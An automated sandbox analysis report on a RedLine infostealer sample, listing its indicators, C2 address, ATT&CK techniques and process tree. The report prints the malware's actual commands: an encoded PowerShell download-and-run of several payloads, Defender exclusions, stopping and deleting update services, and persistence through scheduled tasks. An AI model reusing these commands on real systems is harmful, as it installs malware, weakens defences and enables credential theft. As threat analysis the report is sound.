redline | ef977f35deec3d30dceafdc1b9ba117928ce3f78156dfa63596bcdf1d0d81d8b

Analysis

max time kernel
150s
max time network
54s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
11/01/2023, 07:11

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General

Target

84fa342db3e61b9a30b76763efbbfaea700476a8.exe
Size

247KB
MD5

1eed44b17228fbc5779f5bb908161e73
SHA1

84fa342db3e61b9a30b76763efbbfaea700476a8
SHA256

ef977f35deec3d30dceafdc1b9ba117928ce3f78156dfa63596bcdf1d0d81d8b
SHA512

3ac850fe79c9f20e2311898f2e9b57a4fc9f45e135b916822105afa00528fc16f73fdf89a7cfdcd020fc4c7f855a12cb8b4dd7b969146fa8e68d104b3b3e4b5a
SSDEEP

6144:w93F+3NnZo50r9uMlWr1o1XUQTH3oXx/EAOhxm09nmvc:S4tZo50r9uMlWg1ZrxtnF

Score

10^/10

redline 1 evasion infostealer spyware

Malware Config

Extracted

Family

redline

Botnet

107.182.129.73:21733

Attributes

auth_value
3a5bb0917495b4312d052a0b8977d2bb

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 4 IoCs

resource	yara_rule
behavioral1/memory/1676-100-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral1/memory/1676-107-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral1/memory/1676-108-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral1/memory/1676-105-0x000000000041ADAE-mapping.dmp	family_redline

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

description	pid	Process	procid_target
PID 1876 created 1396	1876	SmartDefRun.exe	20
PID 1876 created 1396	1876	SmartDefRun.exe	20
PID 1876 created 1396	1876	SmartDefRun.exe	20
PID 1876 created 1396	1876	SmartDefRun.exe	20

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	972	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	SmartDefRun.exe

Executes dropped EXE 4 IoCs

pid	Process
380	C4Loader.exe
776	new2.exe
976	SysApp.exe
1876	SmartDefRun.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Loads dropped DLL 10 IoCs

pid	Process
972	powershell.exe
972	powershell.exe
972	powershell.exe
972	powershell.exe
972	powershell.exe
972	powershell.exe
972	powershell.exe
532	WerFault.exe
532	WerFault.exe
532	WerFault.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1096 set thread context of 1324	1096	84fa342db3e61b9a30b76763efbbfaea700476a8.exe	27
PID 776 set thread context of 1676	776	new2.exe	35
PID 1876 set thread context of 1004	1876	SmartDefRun.exe	54

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe	SmartDefRun.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1068	sc.exe
1084	sc.exe
1092	sc.exe
992	sc.exe
1712	sc.exe

Program crash 2 IoCs

pid	pid_target	Process	procid_target
1808	1096	WerFault.exe	25
532	776	WerFault.exe	32

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1572	schtasks.exe
1588	schtasks.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 1038b9699425d901	powershell.EXE

Suspicious behavior: EnumeratesProcesses 29 IoCs

pid	Process
972	powershell.exe
972	powershell.exe
972	powershell.exe
972	powershell.exe
972	powershell.exe
972	powershell.exe
972	powershell.exe
972	powershell.exe
976	SysApp.exe
976	SysApp.exe
976	SysApp.exe
976	SysApp.exe
976	SysApp.exe
1876	SmartDefRun.exe
1876	SmartDefRun.exe
1812	powershell.exe
1876	SmartDefRun.exe
1876	SmartDefRun.exe
1876	SmartDefRun.exe
1876	SmartDefRun.exe
792	powershell.exe
1876	SmartDefRun.exe
1876	SmartDefRun.exe
1676	vbc.exe
1616	powershell.EXE
1964	dllhost.exe
1964	dllhost.exe
1964	dllhost.exe
1964	dllhost.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	972	powershell.exe
Token: SeDebugPrivilege	1812	powershell.exe
Token: SeDebugPrivilege	792	powershell.exe
Token: SeDebugPrivilege	1676	vbc.exe
Token: SeDebugPrivilege	1616	powershell.EXE
Token: SeDebugPrivilege	1964	dllhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1096 wrote to memory of 1324	1096	84fa342db3e61b9a30b76763efbbfaea700476a8.exe	27
PID 1096 wrote to memory of 1324	1096	84fa342db3e61b9a30b76763efbbfaea700476a8.exe	27
PID 1096 wrote to memory of 1324	1096	84fa342db3e61b9a30b76763efbbfaea700476a8.exe	27
PID 1096 wrote to memory of 1324	1096	84fa342db3e61b9a30b76763efbbfaea700476a8.exe	27
PID 1096 wrote to memory of 1324	1096	84fa342db3e61b9a30b76763efbbfaea700476a8.exe	27
PID 1096 wrote to memory of 1324	1096	84fa342db3e61b9a30b76763efbbfaea700476a8.exe	27
PID 1096 wrote to memory of 1808	1096	84fa342db3e61b9a30b76763efbbfaea700476a8.exe	28
PID 1096 wrote to memory of 1808	1096	84fa342db3e61b9a30b76763efbbfaea700476a8.exe	28
PID 1096 wrote to memory of 1808	1096	84fa342db3e61b9a30b76763efbbfaea700476a8.exe	28
PID 1096 wrote to memory of 1808	1096	84fa342db3e61b9a30b76763efbbfaea700476a8.exe	28
PID 1324 wrote to memory of 972	1324	vbc.exe	29
PID 1324 wrote to memory of 972	1324	vbc.exe	29
PID 1324 wrote to memory of 972	1324	vbc.exe	29
PID 1324 wrote to memory of 972	1324	vbc.exe	29
PID 972 wrote to memory of 380	972	powershell.exe	31
PID 972 wrote to memory of 380	972	powershell.exe	31
PID 972 wrote to memory of 380	972	powershell.exe	31
PID 972 wrote to memory of 380	972	powershell.exe	31
PID 972 wrote to memory of 776	972	powershell.exe	32
PID 972 wrote to memory of 776	972	powershell.exe	32
PID 972 wrote to memory of 776	972	powershell.exe	32
PID 972 wrote to memory of 776	972	powershell.exe	32
PID 972 wrote to memory of 976	972	powershell.exe	33
PID 972 wrote to memory of 976	972	powershell.exe	33
PID 972 wrote to memory of 976	972	powershell.exe	33
PID 972 wrote to memory of 976	972	powershell.exe	33
PID 972 wrote to memory of 1876	972	powershell.exe	34
PID 972 wrote to memory of 1876	972	powershell.exe	34
PID 972 wrote to memory of 1876	972	powershell.exe	34
PID 972 wrote to memory of 1876	972	powershell.exe	34
PID 776 wrote to memory of 1676	776	new2.exe	35
PID 776 wrote to memory of 1676	776	new2.exe	35
PID 776 wrote to memory of 1676	776	new2.exe	35
PID 776 wrote to memory of 1676	776	new2.exe	35
PID 776 wrote to memory of 1676	776	new2.exe	35
PID 776 wrote to memory of 1676	776	new2.exe	35
PID 776 wrote to memory of 532	776	new2.exe	36
PID 776 wrote to memory of 532	776	new2.exe	36
PID 776 wrote to memory of 532	776	new2.exe	36
PID 776 wrote to memory of 532	776	new2.exe	36
PID 1940 wrote to memory of 992	1940	cmd.exe	43
PID 1940 wrote to memory of 992	1940	cmd.exe	43
PID 1940 wrote to memory of 992	1940	cmd.exe	43
PID 1940 wrote to memory of 1712	1940	cmd.exe	44
PID 1940 wrote to memory of 1712	1940	cmd.exe	44
PID 1940 wrote to memory of 1712	1940	cmd.exe	44
PID 1940 wrote to memory of 1068	1940	cmd.exe	45
PID 1940 wrote to memory of 1068	1940	cmd.exe	45
PID 1940 wrote to memory of 1068	1940	cmd.exe	45
PID 1940 wrote to memory of 1084	1940	cmd.exe	46
PID 1940 wrote to memory of 1084	1940	cmd.exe	46
PID 1940 wrote to memory of 1084	1940	cmd.exe	46
PID 1940 wrote to memory of 1092	1940	cmd.exe	47
PID 1940 wrote to memory of 1092	1940	cmd.exe	47
PID 1940 wrote to memory of 1092	1940	cmd.exe	47
PID 1940 wrote to memory of 1544	1940	cmd.exe	48
PID 1940 wrote to memory of 1544	1940	cmd.exe	48
PID 1940 wrote to memory of 1544	1940	cmd.exe	48
PID 1940 wrote to memory of 948	1940	cmd.exe	49
PID 1940 wrote to memory of 948	1940	cmd.exe	49
PID 1940 wrote to memory of 948	1940	cmd.exe	49
PID 1940 wrote to memory of 588	1940	cmd.exe	51
PID 1940 wrote to memory of 588	1940	cmd.exe	51
PID 1940 wrote to memory of 588	1940	cmd.exe	51

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:476

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:460
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:596

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:416
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{740935ea-ce6c-4ec0-9bfc-fcff0fb8e7a2}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1964

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:484

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1396
- C:\Users\Admin\AppData\Local\Temp\84fa342db3e61b9a30b76763efbbfaea700476a8.exe
  "C:\Users\Admin\AppData\Local\Temp\84fa342db3e61b9a30b76763efbbfaea700476a8.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1096
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1324
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
      4⤵
      Blocklisted process makes network request
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:972
    - - C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
        
        "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
        5⤵
        Executes dropped EXE
        
        PID:380
    - - C:\Users\Admin\AppData\Local\Temp\new2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\new2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:776
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1676
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 776 -s 116
        6⤵
        Loads dropped DLL
        Program crash
        
        PID:532
    - - C:\Users\Admin\AppData\Local\Temp\SysApp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:976
      - C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"
        6⤵
        Creates scheduled task(s)
        
        PID:1588
    - - C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:1876
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1096 -s 48
    3⤵
    - Program crash
    PID:1808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1812
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1940
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:992
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1712
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1068
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:1084
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1092
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:1544
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:948
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:588
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:1180
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:1752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:792
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsDefenderSmartScreenQC /tr "'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1572
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:1004

C:\Windows\system32\taskeng.exe
taskeng.exe {8B8ED048-F918-40D3-B601-07442B18411A} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:856
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+'T'+'W'+'AR'+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+'a'+'l'+'e'+'r'+[Char](115)+'t'+'a'+'ge'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+'T'+''+[Char](87)+'A'+[Char](82)+'E').GetValue(''+'d'+''+'i'+'a'+[Char](108)+''+'e'+''+'r'+'s'+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)
  2⤵
  PID:1120

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

Filesize
1.4MB

MD5
bb86a343080f9f4696c250ef31a18d9d

SHA1
43b2193dcb1d56eac73ba88a7b461822074192d6

SHA256
095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

SHA512
24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

Download Submit
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

Filesize
1.4MB

MD5
bb86a343080f9f4696c250ef31a18d9d

SHA1
43b2193dcb1d56eac73ba88a7b461822074192d6

SHA256
095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

SHA512
24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysApp.exe

Filesize
1.4MB

MD5
b6bbab9f72c88d07b484cc339c475e75

SHA1
f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

SHA256
dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

SHA512
1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysApp.exe

Filesize
1.4MB

MD5
b6bbab9f72c88d07b484cc339c475e75

SHA1
f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

SHA256
dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

SHA512
1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

Download Submit
C:\Users\Admin\AppData\Local\Temp\new2.exe

Filesize
674KB

MD5
e479ecb1802253a4c94767c8af306baf

SHA1
846bb5d88b91b8aa17bdb58eaf246b10e6586402

SHA256
b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679

SHA512
b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
8efa419eeccc5b9f3ddda1fbf20503da

SHA1
a3cd06fed3b480816599f6466837500eceb6c33a

SHA256
630124fcfe0beaf9c66372526e6018e290e5b3803a181ad1d9f922f4fc3ecf4a

SHA512
